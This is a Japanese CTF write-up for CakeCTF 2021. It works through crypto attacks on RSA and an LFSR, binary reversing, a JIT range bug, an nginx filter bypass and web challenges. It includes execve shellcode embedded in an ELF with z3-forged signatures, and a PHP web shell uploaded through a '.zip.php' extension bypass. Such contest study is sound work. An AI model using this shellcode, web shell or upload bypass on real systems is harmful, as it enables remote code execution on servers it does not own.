CakeCTF 2021 Writeup

Sun Aug 29 2021

    8/28-8/29 で開催していた CakeCTF にチーム WreckTheLine で参加しました。結果は 9th/157 (得点のあるチームのみカウント) でした。

    運営陣を見るに楽しい CTF になることが期待されたのでチームの人を誘ってみたのですが、他の CTF と被ってしまったみたいなので結局3人で遊びました。いつもの自分は一人で Crypto を黙々と解いていて、他のカテゴリーの議論は全く追えないでいたのですが、この CTF ではいろんなジャンルの問題をああだこうだ言いながらプレイできて楽しかったです。久しぶりに Crypto 以外のカテゴリーをやりましたが、難しいですね… (小並)

    以下、解いた問題についての writeup です。

    crypto

    Party Ticket

    12 solves

    task.py
    from Crypto.Util.number import getPrime, isPrime
    from hashlib import sha512
    import random
    
    def getSafePrime(bits):
        while True:
            p = getPrime(bits - 1)
            q = 2*p + 1
            if isPrime(q):
                return q
    
    def make_inivitation():
        with open("flag.txt", "rb") as f:
            flag = f.read().strip()
            m = int.from_bytes(flag + sha512(flag).digest(), "big")
    
        p = getSafePrime(512)
        q = getSafePrime(512)
    
        n = p * q
        assert m < n
    
        b = random.randint(2, n-1)
    
        c = m*(m + b) % n
    
        return c, n, b
    
    # print("Dear Moe:")
    print(make_inivitation())
    
    # print("Dear Lulu:")
    print(make_inivitation())

    内容は至ってシンプルで、ある RSA の公開鍵2種類について、 c=m(m+b)modnc = m(m+b) \mod n としたときの b,cb, c が与えられています。

    例えば m2modnm^2 \mod n が2種類の nn について与えられているとすると、 Hastad's broadcast attack で平文を特定することができます (ただし m<nm<n のとき)。これは wiki にも載っているぐらいメジャーかなと思います。 何か式変形うまくやって Hastad's broadcast attack 使えないかなと思って wiki を見ていると "Generalizaions" という文字が…読んでみると、賢い方法が書いてありました。

    nin_i について gi(x)=0modnig_i(x) = 0 \mod n_i が成り立つとします。今回の場合だと gi(x)=x(x+b)cg_i(x) = x(x+b) - c です。 CRT を使って Ti=δijmodnjT_{i} = \delta_{ij} \mod n_j for all jj となる TiT_i を求めます (δij\delta_{ij} はクロネッカーのデルタ)。このとき、 g(x)=iTigi(x)g(x) = \sum_i T_i g_i(x) なる関数を作ると、 g(x)=0modnig(x) = 0 \mod n_i for all ii となります。この g(x)g(x) について ini\prod_i n_i の法の下、 Coppersmith's method で解くと、 g(x)=0g(x) = 0 なる xx が求められます。

    これを実装しました。

    solve.sage
    from Crypto.Util.number import long_to_bytes
    
    
    c0, n0, b0 = (39795129165179782072948669478321161038899681479625871173358302171683237835893840832234290438594216818679179705997157281783088604033668784734122669285858548434085304860234391595875496651283661871404229929931914526131264445207417648044425803563540967051469010787678249371332908670932659894542284165107881074924, 68660909070969737297724508988762852362244900989155650221801858809739761710736551570690881564899840391495223451995828852734931447471673160591368686788574452119089378643644806717315577499800198973149266893774763827678504269587808830214845193664196824803341291352363645741122863749136102317353277712778211746921, 67178092889486032966910239547294187275937064814538687370261392801988475286892301409412576388719256715674626198440678559254835210118951299316974691924547702661863023685159440234566417895869627139518545768653628797985530216197348765809818845561978683799881440977147882485209500531050870266487696442421879139684)
    
    c1, n1, b1 = (36129665029719417090875571200754697953719279663088594567085283528953872388969769307850818115587391335775050603174937738300553500364215284033587524409615295754037689856216651222399084259820740358670434163638881570227399889906282981752001884272665493024728725562843386437393437830876306729318240313971929190505, 126991469439266064182253640334143646787359600249751079940543800712902350262198976007776974846490305764455811952233960442940522062124810837879374503257253974693717431704743426838043079713490230725414862073192582640938262060331106418061373056529919988728695827648357260941906124164026078519494251443409651992021, 126361241889724771204194948532709880824648737216913346245821320121024754608436799993819209968301950594061546010811840952941646399799787914278677074393432618677546231281655894048478786406241444001324129430720968342426822797458373897535424257744221083876893507563751916046235091732419653547738101160488559383290)
    
    T0 = CRT([1, 0], [n0, n1])
    T1 = CRT([0, 1], [n0, n1])
    PR.<x> = PolynomialRing(Zmod(n0 * n1))
    f = T0 * (x**2 + b0*x - c0) + T1 * (x**2 + b1*x - c1)
    m = f.small_roots(epsilon=0.07)[0]
    long_to_bytes(m)

    CakeCTF{710_i5_5m4r73r_7h4n_R4bin_4nd_H4574d}

    今回の CTF で一番推しの問題でした。ぱっと見簡単に解けそうなのに意外と難しく、盲点をついたような問題で面白かったです。

    Matrix Cipher

    14 solves

    task.sage
    with open("flag.txt", "rb") as f:
        flag = list(f.read().strip())
    
    def hadamard(M):
        d = M.determinant()
        x = 1.0
        for row in M:
            x *= row.norm()
        return (d / x) ** (1.0/M.ncols())
    
    def keygen(n, d):
        k = int(floor(sqrt(n) * d))
        while True:
            R = k * Matrix.identity(ZZ, n) + random_matrix(ZZ, n, n, x=-d, y=d)
            if  hadamard(R) >= 0.7:
                break
    
        B = R
        while True:
            U = random_matrix(ZZ, n, n, algorithm="unimodular")
            B = U * B
            if hadamard(B) <= 0.2:
                break
    
        return B, R
    
    def encrypt(B, m):
        assert B.nrows() == len(m)
        return vector(ZZ, m) * B  + random_vector(ZZ, len(m), x=-50, y=50)
    
    B, R = keygen(len(flag), 100)
    c = encrypt(B, flag)
    
    print(list(B))
    print(c)

    encrypt 関数を見ると B,cB, \bm{c} を既知として、 c=mTB+r\bm{c} = \bm{m}^T B + \bm{r} となる mm がフラグのようです。 r\bm{r} はランダムに生成されたベクトルで、 BB の典型的な値よりも十分に小さいです。

    単純に CVP では?と思ってあまりコードを読まずにソルバーに投げたら解けました。

    solve.sage
    B = [snipped]
    c = [snipped]
    
    B = matrix(ZZ, B)
    c = vector(ZZ, c)
    
    # Taken from https://github.com/rkm0959/Inequality_Solving_with_CVP/blob/main/solver.sage
    # But it's originated from rbtree's repository.
    target = Babai_CVP(B, c)
    
    flag = B.solve_left(target)
    "".join(map(chr, flag))
    
    

    CakeCTF{ju57_d0_LLL_th3n_s01v3_CVP_wi7h_babai}

    hadamard とかが何なのかはわかっておらず…復習しないとなあ。

    Together as one

    21 solves

    chall.py
    from Crypto.Util.number import getStrongPrime, bytes_to_long
    
    p = getStrongPrime(512)
    q = getStrongPrime(512)
    r = getStrongPrime(512)
    
    n = p*q*r
    
    x = pow(p + q, r, n)
    y = pow(p + q*r, r, n)
    
    m = bytes_to_long(open("./flag.txt", "rb").read())
    assert m.bit_length() > 512
    c = pow(m, 0x10001, n)
    
    print(f"{n = :#x}")
    print(f"{c = :#x}")
    print(f"{x = :#x}")
    print(f"{y = :#x}")

    フラグを復号するには p,q,rp, q, r を求める必要がありそうです。

    式変形をいろいろと試みます。今 rr は素数なので、(ri)=0\binom{r}{i} = 0 for 1i<r1 \le i < r となります。したがって

    x=(p+q)r=pr+qrmodny=(p+qr)r=pr+qrrrmodn\begin{align*} x &= (p + q)^r = p^r + q^r \mod n \\ y &= (p + qr)^r = p^r + q^r r^r \mod n \\ \end{align*}

    これら2式の差を取ると yx=qr(rr1)modny - x = q^r(r^r - 1) \mod n となり、この値と nn で gcd を計算することで qq が求まります。

    次に先程の2式で modr\mod r を取ってみます。フェルマーの小定理より pr=pp^r = p なので、

    x=p+qmodry=pmodr\begin{align*} x &= p + q \mod r \\ y &= p \mod r \end{align*}

    となります。差を取ると yx+q=0modry - x + q = 0 \mod r なので gcd(yx+q,n)\gcd(y - x + q, n) を計算することで rr が求まります。

    solve.py
    from Crypto.Util.number import long_to_bytes
    
    n = [snipped]
    c = [snipped]
    x = [snipped]
    y = [snipped]
    e = 0x10001
    
    q = gcd(y-x, n)
    assert n % q == 0
    pr = n // q
    
    qr =  gcd(y-x+q, n)
    r = qr // q
    p = pr // r
    phi = (p - 1) * (q - 1) * (r - 1)
    d = int(pow(e, -1, phi))
    long_to_bytes(pow(c, d, n))

    CakeCTF{This_chall_is_inspired_by_this_music__Check_out!__https://www.youtube.com/watch?v=vLadkYLi8YE_cf49dcb6a31f}

    動画見たけどどうすればこの音楽からこの問題がインスパイアされるんだ…

    improvisation

    34 solves

    task.py
    import random
    
    def LFSR():
        r = random.randrange(1 << 64)
        while True:
            yield r & 1
            b = (r & 1) ^\
                ((r & 2) >> 1) ^\
                ((r & 8) >> 3) ^\
                ((r & 16) >> 4)
            r = (r >> 1) | (b << 63)
    
    if __name__ == '__main__':
        with open("flag.txt", "rb") as f:
            flag = f.read()
            assert flag.startswith(b'CakeCTF{')
            m = int.from_bytes(flag, 'little')
    
        lfsr = LFSR()
        c = 0
        while m:
            c = (c << 1) | ((m & 1) ^ next(lfsr))
            m >>= 1
    
        print(hex(c))

    フィルター等もなく、非線形要素が全くない LFSR です。 "CakeCTF" の8bytesで64ビット分リークできるので、その後の出力を予想することができます。

    solve.sage
    from Crypto.Util.number import *
    
    enc = long_to_bytes(0x58566f59979e98e5f2f3ecea26cfb0319bc9186e206d6b33e933f3508e39e41bb771e4af053)
    
    S = matrix(GF(2), 64, 64)
    for i in range(63):
        S[i+1, i] = 1
    TAP = [63-0, 63-1, 63-3, 63-4]
    for t in TAP:
        S[0, t] = 1
    
    LHS = matrix(GF(2), 64, 64)
    L = vector(GF(2), 64)
    L[-1] = 1
    for i in range(64):
        LHS[i] = L * S ** i
    
    
    known = []
    for c in b"CakeCTF{":
        tmp = []
        for _ in range(8):
            tmp.append(c % 2)
            c //= 2
        known += tmp
    
    
    # ビット開始位置を考えるのが面倒だった全部探索
    for idx in range(5):
        enc_bits = []
        for c in enc:
            tmp = []
            for _ in range(8):
                tmp.append(c % 2)
                c //= 2
            enc_bits += tmp[::-1]
    
        tmp_enc_bits = enc_bits[idx:]
    
    
        RHS = vector(GF(2), 64)
        for i in range(64):
            RHS[i] = known[i] ^^ tmp_enc_bits[i]
    
        initial_state = LHS.solve_right(RHS)
    
        rand_bits = []
        for i in range(len(tmp_enc_bits)):
            rand_bits.append((S ** i * initial_state)[-1])
    
        ans_bits = []
        for i in range(len(tmp_enc_bits)):
            tmp = int(rand_bits[i]) ^^ tmp_enc_bits[i]
            ans_bits.append(tmp)
    
        flag = b""
        for i in range(0, len(tmp_enc_bits), 8):
            tmp_bits = ans_bits[i: i+8][::-1]
            flag += long_to_bytes(int("".join(map(str, tmp_bits)), 2))
        print(flag)

    CakeCTF{d0n't_3xp3c7_s3cur17y_2_LSFR}

    reversing

    rflag

    20 solves

    rust で書かれたプログラムです。32桁の16進数がランダムに生成されるのでその値を当てればフラグが手に入ります。4回まで query を送ることができ、その query に該当する index を教えてくれます。

    バイナリを解析してまず見つけたのは ./rflag cakemode と実行するとデバッグモードになることです。デバッグモードでは正解の値を表示してくれます。しかしリモートでデバッグモードで実行する方法はなさそうです。

    乱数の生成方法に注目します。 rand::rngs::ThreadRng で乱数が生成されているように見えますが、ドキュメントにあるとおり、

    ThreadRng is a cryptographically secure PRNG

    です。使い方にも特に問題はなさそう…

    というわけで全体を見渡してみると、 query に正規表現を使えることに気づきました。16=2416 = 2^4 ですね。終

    solve.py
    from pwn import remote, process
    from collections import defaultdict
    
    
    # io = process(["./rflag/rflag", "cakemode"])
    io = remote("misc.cakectf.com", 10023)
    
    candidates = [set(range(16)) for _ in range(32)]
    
    def to_hexlist(l):
        return "[" + ",".join(map(lambda x: hex(x)[2], l)) + "]"
    
    
    payloads = [to_hexlist([0, 1, 2, 3, 4, 5, 6, 7]), to_hexlist([0, 1, 2, 3, 8, 9, 10, 11]), to_hexlist([0, 1, 4, 5, 8, 9, 12, 13]), to_hexlist([0, 2, 4, 6, 8, 10, 12, 14])]
    ret_to_ans = {
        (0, 0, 0, 0): "f",
        (0, 0, 0, 1): "e",
        (0, 0, 1, 0): "d",
        (0, 0, 1, 1): "c",
        (0, 1, 0, 0): "b",
        (0, 1, 0, 1): "a",
        (0, 1, 1, 0): "9",
        (0, 1, 1, 1): "8",
        (1, 0, 0, 0): "7",
        (1, 0, 0, 1): "6",
        (1, 0, 1, 0): "5",
        (1, 0, 1, 1): "4",
        (1, 1, 0, 0): "3",
        (1, 1, 0, 1): "2",
        (1, 1, 1, 0): "1",
        (1, 1, 1, 1): "0",
    }
    
    ret_bin = defaultdict(list)
    for n in range(4):
        payload = payloads[n]
        io.sendlineafter(f"Round {n+1}/4: ", payload)
        io.recvuntil("Response: ")
        ret = eval(io.recvline())
        for i in range(32):
            if i in ret:
                ret_bin[i].append(1)
            else:
                ret_bin[i].append(0)
    
    ans = ""
    for i in range(32):
        ans += ret_to_ans[tuple(ret_bin[i])]
    
    print(ans)
    io.sendlineafter("answer?\n", ans)
    io.interactive()

    CakeCTF{n0b0dy_w4nt5_2_r3v3r53_RUST_pr0gr4m}

    Hash browns

    40 solves

    静的解析をすると、フラグの各文字 m について、奇数番目だったら md5(m)、偶数番目だったら sha256(inverse(m, 37)) でハッシュ化し、ハッシュの10文字目までがメモリ上の値と一致するかをチェックしていることがわかりました。 動的解析で正解の値を取得し、フラグを逆算しました。

    solve.py
    from hashlib import md5, sha256
    from Crypto.Util.number import inverse
    
    
    md5_ans = [
        0x3733386631366430,
        0x6234656338006330,
        0x6430003232623631,
        0x6330373338663136,
        0x3938313630303800,
        0x3463343800303334,
        0x6400313433373430,
        0x3235373937363539,
        0x3764313733390031,
        0x6533340033653261,
        0x0065656435653363,
        0x6362653564363333,
        0x3564363333003435,
        0x6334003435636265,
        0x6530373166313637,
        0x3734303463343800,
        0x6134316200313433,
        0x3900393530386237,
        0x6532613764313733,
        0x6631363763340033,
        0x6334340065303731,
        0x0030316264653932,
        0x6338316563653962,
        0x6563653962003539,
        0x3166003539633831,
        0x3335373731323638,
        0x3731323638316600,
        0x3637633400333537,
        0x3800653037316631,
        0x3433373430346334,
        0x3264653831350031,
        0x3733390035323539,
        0x0033653261376431,
        0x3532323731623632,
        0x3564363333003662,
        0x3333003435636265,
        0x3435636265356436,
        0x6561643938333300,
        0x3463343800313633,
        0x6400313433373430,
        0x3235373937363539,
        0x3764313733390031,
        0x3738610033653261,
        0x0032613937366666,
        0x6331393039373631,
        0x3461633463006135,
        0x6638003061383332,
        0x6563663534653431,
        0x3938663066396300,
        0x6637386100626635,
        0x0000326139373666,
        0x0000000000000000,
    ]
    
    sha256_ans = [
        0x3231313837396163,
        0x6239376633006163,
        0x6137003334623762,
        0x3662633133346563,
        0x6664613265326400,
        0x6463343700373137,
        0x6300376339666539,
        0x3965326634393634,
        0x3234323663320033,
        0x3935350064633233,
        0x0032383064616561,
        0x6331333465636137,
        0x3533373464003662,
        0x6162003632613365,
        0x3730643135636535,
        0x6338383834383600,
        0x3230393700626530,
        0x3700346562393936,
        0x6263313334656361,
        0x3965643834310036,
        0x6334370037613563,
        0x0037633966653964,
        0x6261316262653233,
        0x6262653233006363,
        0x6533006363626131,
        0x3030363138653332,
        0x3037623233366500,
        0x6563613700623539,
        0x6400366263313334,
        0x3137666461326532,
        0x3231643266650037,
        0x3739330033656437,
        0x0039653232306533,
        0x6532663439363463,
        0x6266313230003339,
        0x6137006264363935,
        0x3662633133346563,
        0x6238313930383300,
        0x6463343700363439,
        0x6100376339666539,
        0x3132343263383133,
        0x6539646334370036,
        0x3038330037633966,
        0x0036343962383139,
        0x3966653964633437,
        0x6365356162003763,
        0x3833003730643135,
        0x3634396238313930,
        0x3266343936346300,
        0x6230316400333965,
        0x0000343761613633,
        0x0000000000000040,
    ]
    
    
    s_all = ""
    for i in range(len(md5_ans)):
        tmp = md5_ans[i]
        s = ""
        for _ in range(8):
            s += chr(tmp % 256)
            tmp //= 256
        s_all += s
    md5_ans = s_all.split(chr(0))
    
    
    s_all = ""
    for i in range(len(sha256_ans)):
        tmp = sha256_ans[i]
        s = ""
        for _ in range(8):
            s += chr(tmp % 256)
            tmp //= 256
        s_all += s
    sha256_ans = s_all.split(chr(0))
    
    
    md5_cache = {}
    sha256_cache = {}
    for c in range(32, 128):
        md5_cache[md5(chr(c).encode()).hexdigest()[:10]] = c
        sha256_cache[sha256(chr(c).encode()).hexdigest()[:10]] = c
    
    
    ans = ""
    for i, (m, s) in enumerate(zip(md5_ans, sha256_ans)):
        m = md5_ans[i]
        s = sha256_ans[inverse(i, 37)]
        ans += chr(md5_cache[m])
        ans += chr(sha256_cache[s])
    print(ans)

    CakeCTF{(^o^)==(-p-)~~(=_=)~~~POTATOOOO~~~(^@^)++(-_-)**(^o-)_486512778b4}

    cheat

    Kingtaker

    22 solves

    javascript 製のブラウザゲームの問題。 script は http://misc.cakectf.com:10311/static/king-taker.js?FNUAC=1867349910 にありますが、難読化されています。

    最初の2つは普通にパズルとして成り立っていて、回数ギリギリでクリアできます。しかし3つ目はどうやっても1回分足りません。カテゴリ名的に (というかこれはそもそも CTF) チートをするということでしょう。

    3ステージまで進んでいるので、それぞれのステージの初期残り移動回数がわかっています。これらの数値がハードコードされていないかなと思い検索をかけると、以下の部分を見つけました。

    function _U2(_0x225ba0) {
      var _0x1d3735 = _0xffd866;
      global[_0x1d3735(0x7bb)] = 0xb;
    }
    function _V2(_0x401b5f) {
      var _0x3056c7 = _0xffd866;
      _0x401b5f[_0x3056c7(0x7a8)] = 0x1;
    }
    function _Y2(_0x5a5930) {
      var _0x3c251a = _0xffd866;
      global[_0x3c251a(0x7bb)] = 0x26;
    }
    function _Z2(_0x242b69) {
      var _0x5c5303 = _0xffd866;
      _0x242b69[_0x5c5303(0x7a8)] = 0x2;
    }
    function __2(_0x2fefef) {
      _0x2fefef["_I4"] = 0x3;
    }
    function _03(_0x4f72bf) {
      var _0xcf60a1 = _0xffd866;
      global[_0xcf60a1(0x7bb)] = 0x29;
    }
    function _13(_0x1dbf6d) {
      global["_n4"] = 0x3;
    }
    function _23(_0x35a2e0) {
      _0x35a2e0["_I4"] = 0x4;
    }

    0xb, 0x26, 0x29 あたりが該当しています。 chrome の console 上で global という変数を見てみると、2つの値が格納されていました。これらのうち 0x29 (3つ目のステージの初期残り移動回数) を大きくする (100 以上にするとチートがバレて終了) ことで3つ目をクリアすることができました。

    4つ目のステージはそもそもブロックを押すことができず、残り移動回数を増やしてもクリアすることはできません。当たり判定とかを変更するのかなと最初は思いましたが、 global に2つの値が格納されていたことを思い出します。これらのうち残り移動回数ではないほうが0だったので適当に1にしてみるとクリアとなりました。クリア判定のフラグが格納されていたんですかね?

    CakeCTF{M4yb3_I_c4n_s3rv3_U_inst34d?}

    pwn

    JIT4b

    28 solves

    JIT compiler を騙す問題。

      /* Abstract divition */
      Range& operator/=(const int& rhs) {
        if (rhs < 0)
          *this *= -1; // This swaps min and max properly
        // There's no function named "__builtin_sdiv_overflow"
        // (Integer overflow never happens by integer division!)
        min /= abs(rhs);
        max /= abs(rhs);
        return *this;
      }

    ここに脆弱性があって、 231-2^{31} で割ったときにオーバーフローが生じて Range(1, 0) となりました (↑の部分が怪しい!とチームメイト向けに騒いだらこの脆弱性を見つけてくれました)。 Range(1, 0) の状況で x=xx = -xRange(0, -1) となり、 x=231x = -2^{31} を代入すると範囲外アクセスが生じ、フラグが得られました。

    CakeCTF{1_th1nk_u_c4n_try_2_3xpl017_r34l_bug5_1n_br0ws3r}

    misc

    telepathy

    29 solves

    main.go
    package main
    
    import (
        "log"
        "github.com/labstack/echo"
    )
    
    func run() error {
        e := echo.New()
        e.File("/", "public/flag.txt")
        if err := e.Start(":8000"); err != nil {
            return err
        }
        return nil
    }
    
    func main() {
        if err := run(); err != nil {
            log.Fatalf("%+v\n", err)
        }
    }
    default.conf
    server {
        listen       80;
        server_name  localhost;
    
        #charset koi8-r;
        #access_log  /var/log/nginx/host.access.log  main;
    
        location / {
            # I'm getting the flag with telepathy...
            proxy_pass  http://app:8000/;
    
            # I will send the flag to you by HyperTextTelePathy, instead of HTTP
            header_filter_by_lua_block { ngx.header.content_length = nil; }
            body_filter_by_lua_block { ngx.arg[1] = ngx.re.gsub(ngx.arg[1], "\\w*\\{.*\\}", "I'm sending the flag to you by telepathy... Got it?\n"); }
        }
    }

    サーバー側では public/flag.txt の内容を返そうとしますが、 nginx の設定で、 "\\w*\\{.*\\}" (つまりフラグの形式) のコンテンツは "I'm sending the flag to you by telepathy... Got it?\n" に置き換えられてしまいます。

    request header で Range を 8-100 等に指定し、正規表現に引っかからない内容をサーバー側が返すようにすることでフラグが得られました。

    CakeCTF{r4ng3-0r4ng3-r4ng3}

    Break a leg

    44 solves

    chall.py
    from PIL import Image
    from random import getrandbits
    
    with open("flag.txt", "rb") as f:
        flag = int.from_bytes(f.read().strip(), "big")
    
    bitlen = flag.bit_length()
    data = [getrandbits(8)|((flag >> (i % bitlen)) & 1) for i in range(256 * 256 * 3)]
    
    img = Image.new("RGB", (256, 256))
    
    img.putdata([tuple(data[i:i+3]) for i in range(0, len(data), 3)])
    img.save("chall.png")

    フラグの各ビットに対して、 getrandbits(8) と or を取った値で画像が生成されています。フラグのビットが1のときは必ず1、0のときは50%の確率で0, 1となります。 bitlen の周期でこの計算が何回かされるため、

    • フラグの最初のビットは1なことを利用して bitlen を同定
    • 出力が1だけか0, 1かでフラグのビットを復元

    という手順でフラグが求まりました。

    solve.py
    from collections import Counter
    
    import numpy as np
    from PIL import Image
    
    img = Image.open("/home/y011d4/cakectf/misc/break_a_leg/break_a_leg/chall.png")
    img_arr = np.array(img).reshape(-1)
    
    for bitlen in range(2, 1000):
        if all(map(lambda x: x&1, img_arr[0::bitlen])):
            print(bitlen)  $ 575
    
    bitlen = 575
    ans = ""
    for idx in range(bitlen):
        cnt = Counter(map(lambda x: x&1, img_arr[idx::bitlen]))
        if len(cnt) == 2:
            ans += "0"
        elif len(cnt) == 1:
            ans += "1"
        else:
            raise ValueError

    CakeCTF{1_w1sh_y0u_can_h1t_the_gr0und_runn1ng_fr0m_here;)-d7bcfa74ad4bc}

    web

    MofuMofu Diary

    80 solves

    cookie の cache に、表示すべきコンテンツが保持されています。それの expiary が現在時刻より前になっているとき、表示をし直します。したがって {"data":[{"name":"/flag.txt","description":"a"}],"expiry":1} を URL encode したものを cookie に保存しておくと、フラグの文字列を base64 エンコードした値が表示されます。

    CakeCTF{4n1m4ls_4r3_h0n3st_unl1k3_hum4ns_6e081a}

    復習

    reversing

    ALDRYA

    ELF の署名 (?) を確認するプログラムが用意されており、署名が一致すれば ELF が実行されます。署名は指定されています。 root directory 上にフラグがあると README に書かれているので、 /bin/sh のような ELF を指定された署名と一致するように作れればよさそうです。

    まず署名アルゴリズムがどのようなものかを確認します。 ghidra で解析した結果が以下となります (変数名は適宜変えています)。

    bool validate_chunk(FILE *fp_elf,FILE *fp_aldrya)
    
    {
      byte *addr_chunk;
      size_t sVar1;
      byte *idx;
      uint calc_sign;
      long in_FS_OFFSET;
      bool bVar2;
      uint signature;
      long local_30;
      byte val;
      
      local_30 = *(long *)(in_FS_OFFSET + 0x28);
      addr_chunk = (byte *)calloc(0x100,1);
      sVar1 = fread(addr_chunk,1,0x100,fp_elf);
      if (sVar1 == 0) {
        free(addr_chunk);
        bVar2 = true;
      }
      else {
        sVar1 = fread(&signature,4,1,fp_aldrya);
        if (sVar1 != 1) {
          puts("[-] ALDRYA file is truncated");
          free(addr_chunk);
          fclose(fp_elf);
          fclose(fp_aldrya);
                        /* WARNING: Subroutine does not return */
          exit(1);
        }
        calc_sign = 0x20210828;
        idx = addr_chunk;
        do {
          val = *idx;
          idx = idx + 1;
          calc_sign = (calc_sign ^ val) >> 1 | (uint)(((calc_sign ^ val) & 1) != 0) << 0x1f;
        } while (addr_chunk + 0x100 != idx);
        free(addr_chunk);
        bVar2 = signature != calc_sign;
      }
      if (local_30 == *(long *)(in_FS_OFFSET + 0x28)) {
        return bVar2;
      }
                        /* WARNING: Subroutine does not return */
      __stack_chk_fail();
    }

    ELF を 0x100 バイトごとの chunk にわけ、それぞれの chunk で以上の計算をした結果が4バイトの署名と一致しているかをチェックしています。 python のコードで書くと以下のようになります。

    from Crypto.Util.number import *
    
    with open("sample.elf", "rb") as f:
        elf = f.read()
    with open("sample.aldrya", "rb") as f:
        aldrya = f.read()
    
    
    for idx in range(66):
        n = 0x100 * idx
        chunk = elf[n: n+0x100]
        if len(chunk) < 0x100:
            chunk += b"\x00" * (0x100 - len(chunk))
    
        calc_sign = 0x20210828
        for i in range(0x100):
            val = chunk[i]
            tmp = calc_sign ^ val
            calc_sign = (tmp >> 1) | ((tmp & 1) << 0x1f)
    
        assert calc_sign == bytes_to_long(aldrya[4*(idx+1):4*(idx+2)][::-1])

    (競技時間中はここまでやりました。)

    Writeup をいろいろ見てみると、 sample.elf の entry 部分にシェルコードを埋め込み、その前後は適当なバイト文字で埋めてもいいことを利用して z3 で署名が通るように書き換えるのが主流っぽい?実装してみました。

    sample_to_sh_elf.py
    with open("sample.elf", "rb") as f:
        sample_elf = f.read()
    
    # http://shell-storm.org/shellcode/files/shellcode-806.php
    shellcode = b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
    idx = sample_elf.find(b"\xf3\x0f\x1e\xfa\x31\xed\x49\x89\xd1")  # entry の部分のバイト列の位置を探す
    sh_elf = sample_elf[:idx] + shellcode + sample_elf[idx + len(shellcode):]
    assert len(sample_elf) == len(sh_elf)
    print(f"You have to modify {idx}-{idx+len(shellcode)} (chunk: {idx // 0x100}-{(idx+len(shellcode)) // 0x100})")
    
    with open("sh.elf", "wb") as f:
        f.write(sh_elf)

    このスクリプトで生成された sh.elf を実行するとシェルが起動することを確認しました。

    その後、z3 を使って、書き換えられた chunk 部分の署名が通るように修正します。

    sign_sh_elf.py
    from Crypto.Util.number import bytes_to_long
    from z3 import *
    
    with open("sh.elf", "rb") as f:
        sh_elf = f.read()
    
    with open("sample.aldrya", "rb") as f:
        aldrya = f.read()
    
    
    fixed_idx_start = 4192
    fixed_idx_end = 4219
    modified_chunk_idx = 16
    modified_idx_start = 16 * 0x100
    modified_idx_end = 17 * 0x100
    
    sign = bytes_to_long(
        aldrya[4 * (modified_chunk_idx + 1) : 4 * (modified_chunk_idx + 2)][::-1]
    )
    
    s = Solver()
    chunk = [BitVec(f"b{i}", 8) for i in range(0x100)]
    for i in range(fixed_idx_start % 0x100, fixed_idx_end % 0x100):
        s.add(chunk[i] == sh_elf[modified_idx_start + i])
    calc_sign = Int2BV(IntVal(0x20210828), 32)
    for i in range(0x100):
        val = ZeroExt(24, chunk[i])
        tmp = calc_sign ^ val
        calc_sign = LShR(tmp, 1) | ((tmp & 1) << 0x1F)
    s.add(calc_sign == sign)
    s.check() == sat
    
    m = s.model()
    signed_sh_elf = (
        sh_elf[:modified_idx_start]
        + bytes([m[chunk[i]].as_long() for i in range(0x100)])
        + sh_elf[modified_idx_end:]
    )
    
    with open("signed_sh.elf", "wb") as f:
        f.write(signed_sh_elf)

    これをファイルサーバーに送り、 server.py に対して URL を指定すると、シェルが起動し、 cat /flag* でフラグが入手できました。 https://transfer.sh/ という便利ツールがあるということが地味に勉強になりました。

    CakeCTF{jUst_cH3ck_SHA256sum_4nd_7h47's_f1n3}

    web

    ziperatops

    アップロードした zip の中身を表示してくれるウェブサービスです。アップロード時には以下のようなチェックが入ります。

    utils.php
    function setup($name) {
        /* Create a working directory */
        $dname = sha1(uniqid());
        @mkdir("temp/$dname");
    
        /* Check if files are uploaded */
        echo $_FILES[$name]['name'];
        echo "\n";
        if (empty($_FILES[$name]) || !is_array($_FILES[$name]['name']))
            return array($dname, null);
    
        /* Validation */
        for ($i = 0; $i < count($_FILES[$name]['name']); $i++) {
            $tmpfile = $_FILES[$name]['tmp_name'][$i];
            $filename = $_FILES[$name]['name'][$i];
            echo "$tmpfile $filename";
            if (!is_uploaded_file($tmpfile))
                continue;
    
            /* Check the uploaded zip file */
            $zip = new ZipArchive;
            if ($zip->open($tmpfile) !== TRUE)
                return array($dname, "Invalid file format");
    
            /* Check filename */
            if (preg_match('/^[-_a-zA-Z0-9\.]+$/', $filename, $result) !== 1)
                return array($dname, "Invalid file name: $filename");
    
            /* Detect hacking attempt (This is not necessary but just in case) */
            if (strstr($filename, "..") !== FALSE)
                return array($dname, "Do not include '..' in file name");
    
            /* Check extension */
            if (preg_match('/^.+\.zip/', $filename, $result) !== 1)
                return array($dname, "Invalid extension (Only .zip is allowed)");
    
            /* Move the files */
            if (@move_uploaded_file($tmpfile, "temp/$dname/$filename") !== TRUE)
                return array($dname, "Failed to upload the file: $dname/$filename");
        }
    
        return array($dname, null);
    }

    コードを眺めていると if (preg_match('/^.+\.zip/', $filename, $result) !== 1) の部分で実は hoge.zip.php のようなファイル名を弾くことができていないことに気づきました。 そのため、 <?php system($_GET["cmd"]);?> という名前のファイルを作り、 zip hoge.zip.php '<?php system($_GET["cmd"]);?>' で zip ファイルを作りアップロードすると、このファイルにアクセスできれば web shell を叩くことができるようになります。

    あとは

    • アップロード先の path を特定
    • ファイルが unlink される問題を回避

    できればよさそうです。 path の特定は move_uploaded_file を失敗させればできそうで、それさえできればファイルが unlink される前に web shell 叩けたりするのかなと競技中は考えてましたが、肝心の move_uploaded_file を失敗させる方法がわからず…

    他の人の writeup を見ていると、 move_uploaded_file はファイル名が十分長いときに失敗するという話が挙げられていました。 ここ でも言及されています。いやあ気づけなかったな… linux ではファイル名が255文字まで許されているらしい。 Burp Suite でファイル送信時にファイル名を256文字以上にしてアップロードしてみると期待通りエラーが生じ、 path を表示させることができました。

    あとは web shell を叩くためにどうするかという話なのですが、 temp/$dname/* という正規表現では temp/$dname/.hoge のようなファイル名は拾えないらしいです。知らなかった…

    mv hoge.zip.php .a.zip.php でファイル名を変更し、 .a.zip.php と適当な zip ファイルの2つを送信し (.a.zip.php が先頭にくるようにする)、適当な zip ファイルの名前をクソ長にすることで path を得て、 /temp/PATH_TO_FILE/.a.zip.php?cmd=cat /flag* にアクセスすることでフラグを表示できました。

    CakeCTF{uNd3r5t4nd1Ng_4Nd_3xpl01t1Ng_f1l35y5t3m_cf1944}

      ;